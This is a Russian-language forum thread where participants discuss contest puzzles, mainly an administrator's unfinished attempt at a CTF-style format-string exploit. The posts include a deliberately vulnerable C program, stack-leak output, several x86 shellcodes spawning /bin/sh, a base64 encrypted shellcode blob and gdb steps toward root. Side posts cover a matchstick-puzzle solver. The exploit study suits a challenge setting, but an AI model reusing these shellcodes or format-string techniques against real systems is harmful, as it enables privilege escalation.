Здравствуйте, гость ( Вход | Регистрация )
![]() ![]()  | 
	
			
			  25.8.2013, 0:07
			
				 Сообщение
					#201
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 40 Регистрация: 10.8.2012 Пользователь №: 1262  | 
       
			
			 Ууух ... все проще ... байты IP'шников просто пишешь в файл ... как символы ... ну а дальше все увидишь и поймешь. О Боже что получается пока.. http://codepad.org/8Nt8wZrr Я в правильном направлении? _________________ UPD: что-то туплю, вроде почти готово  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 10:00
			
				 Сообщение
					#202
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 71 Регистрация: 25.8.2013 Пользователь №: 1681  | 
       
			
			 
				в 6 вопросе квеста админов кроме wireshark'a что-то надо использовать? направление понятно, но пока не могу найти. можно просто ответить да или нет, сам люблю копаться без лишних подсказок  
			
			
					
		 | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 10:36
			
				 Сообщение
					#203
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 40 Регистрация: 10.8.2012 Пользователь №: 1262  | 
       
			
			 в 6 вопросе квеста админов кроме wireshark'a что-то надо использовать? направление понятно, но пока не могу найти. можно просто ответить да или нет, сам люблю копаться без лишних подсказок  Добрый день. Достаточно почти любой программы-анализатора трафика, которая "скушает" .pcap  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 13:06
			
				 Сообщение
					#204
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 44 Регистрация: 11.8.2012 Пользователь №: 1267  | 
       
			
			 p.s. Судя по стене разработчиков один человек уже решил это задание ... Чертос-2 ... ) Чёртос-2 aka Astiob контакты можно взять тут https://github.com/astiob P.S. Чувак прекрасно говорит по русски  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 14:27
			
				 Сообщение
					#205
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 Чёртос-2 aka Astiob контакты можно взять тут https://github.com/astiob P.S. Чувак прекрасно говорит по русски А вот его профиль ... http://itstarz.ru/profile/19833/ ... если предположить что 4 решенных задания - это 1,2,3, 5 - то выходит что за дверь дают всего 30 баллов. Как-то маловато ... 6-е с файлом smile и ANSI в квесте для программеров относительно легкое ... кстати за него 30 баллов и дают. --------------------  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 14:36
			
				 Сообщение
					#206
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 
				Вопрос ... ни у кого не валяется сырца корректного определения кодировке строки на PHP? Т.е. нужна функция, на вход которой подается строка, а на выходе она выдает кодировку - CP1251, KOI8R, ISO-8859-5 и т.п. Только mb_detect_encdoding и т.п. - не предлагать  
			
			--------------------  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 15:09
			
				 Сообщение
					#207
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 40 Регистрация: 10.8.2012 Пользователь №: 1262  | 
       
			
			 Вопрос ... ни у кого не валяется сырца корректного определения кодировке строки на PHP? Т.е. нужна функция, на вход которой подается строка, а на выходе она выдает кодировку - CP1251, KOI8R, ISO-8859-5 и т.п. Только mb_detect_encdoding и т.п. - не предлагать  Полноценно работающего решения еще не придумали. % удачного определения будет не выше, чем (примерно) 70%...  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 16:05
			
				 Сообщение
					#208
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 
				Ну что ж, приступим ))) 
			
			
 Для тестирования уязвимости форматной строки я написал простенькую программу: Код #include <stdio.h> void main(int argc, char *argv[]) { printf(argv[1]); } Скоппилил ее: Код gcc e.c -o e Ну и собственно теперь можно удобно издеваться над аргументом, запуская ./e <форматная строка>, так, запустив ./e ---%08X---%08X---%08X---%08X---%08X мы получаем: Код ---B7FF3380---080483FB---B7FDDFF4---080483F0---00000000 Так как printf воспринимает форматные спецификаторы, то, очевидно, что ---B7FF3380---080483FB---B7FDDFF4---080483F0---00000000 является соответствием ---%08X---%08X---%08X---%08X---%08X , т.е. мы видим в шестнадцатеричном представлении значения параметров вызова функции printf. Printf “не знает” о количестве и наличии параметров. Определяющим фактором здесь является лишь форматная строка, которая указывает на наличие таких параметров. Поэтому в качестве параметров выводится текущее содержимое стека. Осталось понять что это именно ... и как это использовать ) p.s. По всей видимости надо с %n разбираться: Цитата Для модификации содержимого стека и данных может быть использован форматный спецификатор %n. Этот спецификатор, редко используемый в обычной практике, осуществляет запись текущей позиции вывода в заданную переменную. Так после выполнения: sprintf(s,”123%n”, &pos); pos будет равен трем, так как до обработки модификатора %n было выведено 3 символа ‘123’. p.p.s. ТЕОРИЯ И ПРАКТИКА АТАК FORMAT STRING - здесь еще подробнее ... --------------------  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 16:37
			
				 Сообщение
					#209
					
				
			 
		 | 
	|
| 
        	
				
					 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 41 Регистрация: 25.8.2013 Из: Казахстан/Алматы Пользователь №: 1682  | 
       
			
			 Ууух ... все проще ... байты IP'шников просто пишешь в файл ... как символы ... ну а дальше все увидишь и поймешь. Ну так подскажи хоть в личку то, что делать дальше?* 407af948aef4844d967c480dffd3e1cf :тевто шаВG - это я получаю бинарно с этих ip, но и дальше не понимаю  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 16:47
			
				 Сообщение
					#210
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 
				Чуть подробнее, используемая программа: 
			
			Код #include <stdio.h> void main(int argc, char *argv[]) { int num = 7; printf(argv[1]); printf("\n"); printf("\nnum = %d, &num = %p\n", num, &num); } Запускаем ее с форматной строкой: Код user@reverse-me:/tmp$ ./e "%08X %08X %08X %08X %08X %08X %08X %08X"              B7FDDFF4 08048450 BFFFFD88 B7ECC395 B7FF3380 0804845B 00000007 08048450 num = 7, &num = 0xbffffd7c Думаем ... ) --------------------  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 16:48
			
				 Сообщение
					#211
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 Ну так подскажи хоть в личку то, что делать дальше?*  407af948aef4844d967c480dffd3e1cf :тевто шаВG - это я получаю бинарно с этих ip, но и дальше не понимаю А слова "Ваш ответ" ты не видишь разве? )) --------------------  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 19:32
			
				 Сообщение
					#212
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			
 p.s. Сделал локальную копию консоли из задания с дверью, для запуска на локальном web-сервере (так удобнее) Ковыряю дальше ... p.p.s. Вот shellcode, который работает в jslinux (запускает /bin/sh): Код #include <stdio.h> #include <string.h> char shellcode[] = "\x68\xcd\x80\x68\x68\xeb\xfc\x68" "\x6a\x0b\x58\x31\xd2\x52\x68\x2f" "\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; main() { void (*fp) (void); fp = (void *) shellcode; printf ("%d bytes\n", strlen(shellcode)); fp(); } или другой вариант Код /* setuid(); execve(); exit(); */ #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80" "\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f" "\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50" "\x53\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0" "\xb0\x01\xcd\x80"; main() { void (*fp) (void); fp = (void *) shellcode; printf ("%d bytes\n", strlen(shellcode)); fp(); } Теперь задача заставить crypto выполнить его ... т.е. сформировать нужную форматную строку ... --------------------  | 
	
| 
			
			 | 
	|
			
			  25.8.2013, 22:01
			
				 Сообщение
					#213
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 
				Отличная презентация по эксплуатации уязвимостей форматной строки. Смотреть с 13-й страницы. 
			
			p.s. В приват отвечу всем после решения этого задания. Сейчас нет времени ... увлечен сильно ... p.p.s. А презентация не отличная, а ОТЛИЧНАЯ! 22-я страница - Example: overwrite the return address with 0x08042222 (consider overflow) ... Вообщем смысл в следующем, вначале должен быть наш shellcode, а потом мы должны поменять адрес возврата из fprintf на его начало. Только вот практическая реализация этого с моим опытом займет ОЧЕНЬ много времени. Но будем стараться. Вот версия crypto, которая пишет в файл encrypted каталога из которого она запущена БЕЗ шифрования. Это нужно для удобства отладки шеллкода. 
	Прикрепленные файлы
	
 
--------------------  | 
	
| 
			
			 | 
	|
			
			  26.8.2013, 0:54
			
				 Сообщение
					#214
					
				
			 
		 | 
	||
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 © http://www.shell-storm.org/shellcode/files/shellcode-256.php Шеллкод не содержащий паттерна 0x80 (int 80h), важно для задания. Код #include <stdio.h> #include <string.h> char shellcode[] = "\x99\x52\x58\x52\xbf\xb7\x97\x39\x34\x01\xff\x57\xbf\x97\x17\xb1\x34\x01\xff\x47\x57\x89\xe3\x52\x53\x89\xe1\xb0\x63\x2c\x58\x81\xef\x62\xae\x61\x69\x57\xff\xd4"; int main(int argc, char *argv[]) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); (*(void(*)()) shellcode)(); } Архив содержит два файла - shell9.bin, shell9cry.bin ... shell9.bin - шеллкод, тот что выше, для вызова /bin/sh, shell9cry.bin - зашифрованный по алгоритму crypto shell9.bin ... т.е. если натравить на него crypto - он запишет в encrypted нужный нам шеллкод.  
 shellcodes.7z ( 259 байт )
Кол-во скачиваний: 42Ну и теперь остается преобразовать shell9cry.bin к форматной строке. Т.е. чтобы на него передалось управление. А вот с этим пока затык. Как занести shell9cry.bin в JSLinux? Да очень просто: Код base64 -d > /tmp/shell9cry.bin <<EOF GdLY0j83F7m0gX/XPxeXMbSBf8fXCWPS0wlhMOOs2AFv4i7h6dd/VAo= EOF Это в клипборде, потом нажимаем кнопку Paste to clipboard и в консоли . /dev/clipboard ... скрипт выполнится и файл создастся. Затем можно загрузить gdb /home/user/crypto ... и поставить breakpoint - b *0x080486a9 перед вызовом fprintf. Смотрим картинку и видим расшифрованный shellcode по адресу $esp+0x14, т.е. 0xbffffc64 ... осталось теперь передать на него управление. --------------------  | 
	|
| 
			
			 | 
	||
			
			  26.8.2013, 6:49
			
				 Сообщение
					#215
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 99 Регистрация: 14.8.2013 Пользователь №: 1665  | 
       
			
			 
				ужас какой-то    
			
			
					
		 | 
	
| 
			
			 | 
	|
			
			  26.8.2013, 6:54
			
				 Сообщение
					#216
					
				
			 
		 | 
	||
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 ужас какой-то    Ужас - не то слово ... )) Но я его почти добил ... осталось преобразовать получившееся в форматную строку ... и тогда если мы запустим crypto шеллкод выполнится и мы получим root. Но вот с этим пока туго. Я бы сказал - я на 75% ... потратив сутки ))) А вот так выглядит процедура шифрования для hiew (т.е. можно взять незашифрованный файл, пробежаться по нему с помощью F7 криптом и получить шифрованный, который можно подавать на вход): Вообщем это самое тяжелое задание, которое я только видел. Кучу всего надо знать и понимать ... (( --------------------  | 
	|
| 
			
			 | 
	||
			
			  26.8.2013, 8:42
			
				 Сообщение
					#217
					
				
			 
		 | 
	|
        	
				
					![]() Администратор ![]() ![]() ![]() ![]() ![]() Группа: Главные администраторы Сообщений: 14349 Регистрация: 12.10.2007 Из: Twilight Zone Пользователь №: 1  | 
       
			
			 
				Для тех кто хочет запустить задание про дверь на локальном web-сервере (запускать обязательно на рабочем web-сервере, просто открыть index.html в браузере недостаточно) - http://rghost.ru/48374151 - полный дамп консоли. Т.е. поместив содержимое архива на локальный web-сервер вы сможете открыть это задание также, как если бы оно было непосредственно на оф. сайте. Вся структура hda - скрипты и т.п. в комплекте. Подойдет также для анализа того, как сделана эта консоль. 
			
			p.s. А по заданию собственно пока тупик ... ) Форматную строку, чтобы адрес возврата из fprintf попадал на начало шеллкода, написать я пока не могу --------------------  | 
	
| 
			
			 | 
	|
			
			  26.8.2013, 8:44
			
				 Сообщение
					#218
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 133 Регистрация: 10.8.2012 Пользователь №: 1240  | 
       
			
			 С алгоритмом я перегнул палку ... нечего по ночам сидеть )) Вообщем словесное описание наверное такое: 1. Перебираем все возможные комбинации валидных начальных положений спичек. Валидными считаются комбинации, когда цифра выглядит как "трафарет" и знаки тоже. Плюс получившееся выражение удовлетворяет одному из 4-х паттернов. Это будет начальное расположение головоломки. 2. Теперь мы должны рассмотреть ВСЕ варианты, можем ли мы перемещением одной спички превратить "начальное выражение", т.е. головоломку в валидное равенство. Это можно сделать с помощью операции ПЕРЕМЕЩЕНИЕ_СПИЧКИ )) Спичку можно перестить с одного символа на другой, а можно с этого на тот же самый. В результате мы получим n-ое количество выражений, если хоть одно из них является валидным равенством, то комбинация является верной головоломкой. Увеличиваем счетчик. Ну а теперь собственно нужно составить таблицы для процедур: МИНУС_СПИЧКА, ПЛЮС_СПИЧКА, МИНУС_ПЛЮС_СПИЧКА. Где первые две составляют перемещение, когда мы сняли спичку с одного символа и поставили на другой, а последнее - когда снятие/постановка спички происходят с одного и того же символа. Такие варианты надо рассмотреть для каждой цифры ... p.s. Никто не хочет заняться? Проверили бы результаты ... я уже начинал тут постом выше для МИНУС_СПИЧКА, то же самое надо сделать для двух остальных процедур. Ну и если у кого какой другой план зреет - пишите, не стесняйтесь )) У меня алгоритм именно такой, перемещения спички в одном символе уже написал, осталось +спичка -спичка, на работе доделаю) Вот возможные превращения цифр, inc +спичка, dec -спичка, rep перемещение спички, поправьте если че упустил Код         d[0].inc.add("8"); 
				
				
				
			d[1].inc.add("7"); //d[2].inc.add(""); d[3].inc.add("9"); //d[4].inc.add(""); d[5].inc.add("9"); d[6].inc.add("8"); //d[7].inc.add(""); //d[8].inc.add(""); d[9].inc.add("8"); //d[0].dec.add(""); //d[1].dec.add(""); //d[2].dec.add(""); //d[3].dec.add(""); //d[4].dec.add(""); //d[5].dec.add(""); d[6].dec.add("5"); d[7].dec.add("1"); d[8].dec.add("9"); d[8].dec.add("6"); d[9].dec.add("3"); d[9].dec.add("5"); d[0].rep.add("6"); d[0].rep.add("9"); //d[1].rep.add(""); d[2].rep.add("3"); d[3].rep.add("5"); d[3].rep.add("2"); //d[4].rep.add(""); d[5].rep.add("3"); d[6].rep.add("9"); d[6].rep.add("0"); //d[7].rep.add(""); //d[8].rep.add(""); d[9].rep.add("6"); d[9].rep.add("0");  | 
	
| 
			
			 | 
	|
			
			  26.8.2013, 10:03
			
				 Сообщение
					#219
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 54 Регистрация: 21.8.2013 Пользователь №: 1676  | 
       
			
			 У меня алгоритм именно такой, перемещения спички в одном символе уже написал, осталось +спичка -спичка, на работе доделаю) Вот возможные превращения цифр, inc +спичка, dec -спичка, rep перемещение спички, поправьте если че упустил Упустил две возможные комбинации: Код d[5].inc.add("6"); d[8].dec.add("0"); Так, к списку минус_плюс_спичка надо добавить +-> = = -> + Преобразования знака + в = и обратно невозможно быть, т.к. полученное выражение не подходит под 4 маски в задании. З.Ы. У меня ответ приняли, за задание 40 баллов дали.  | 
	
| 
			
			 | 
	|
			
			  26.8.2013, 10:13
			
				 Сообщение
					#220
					
				
			 
		 | 
	|
| 
        	
				
        			 Junior Member ![]() ![]() Группа: Пользователи Сообщений: 133 Регистрация: 10.8.2012 Пользователь №: 1240  | 
       |
| 
			
			 | 
	|
![]() ![]()  | 
	
| Текстовая версия | Сейчас: 4.11.2025, 10:03 | |
| 
 | 
||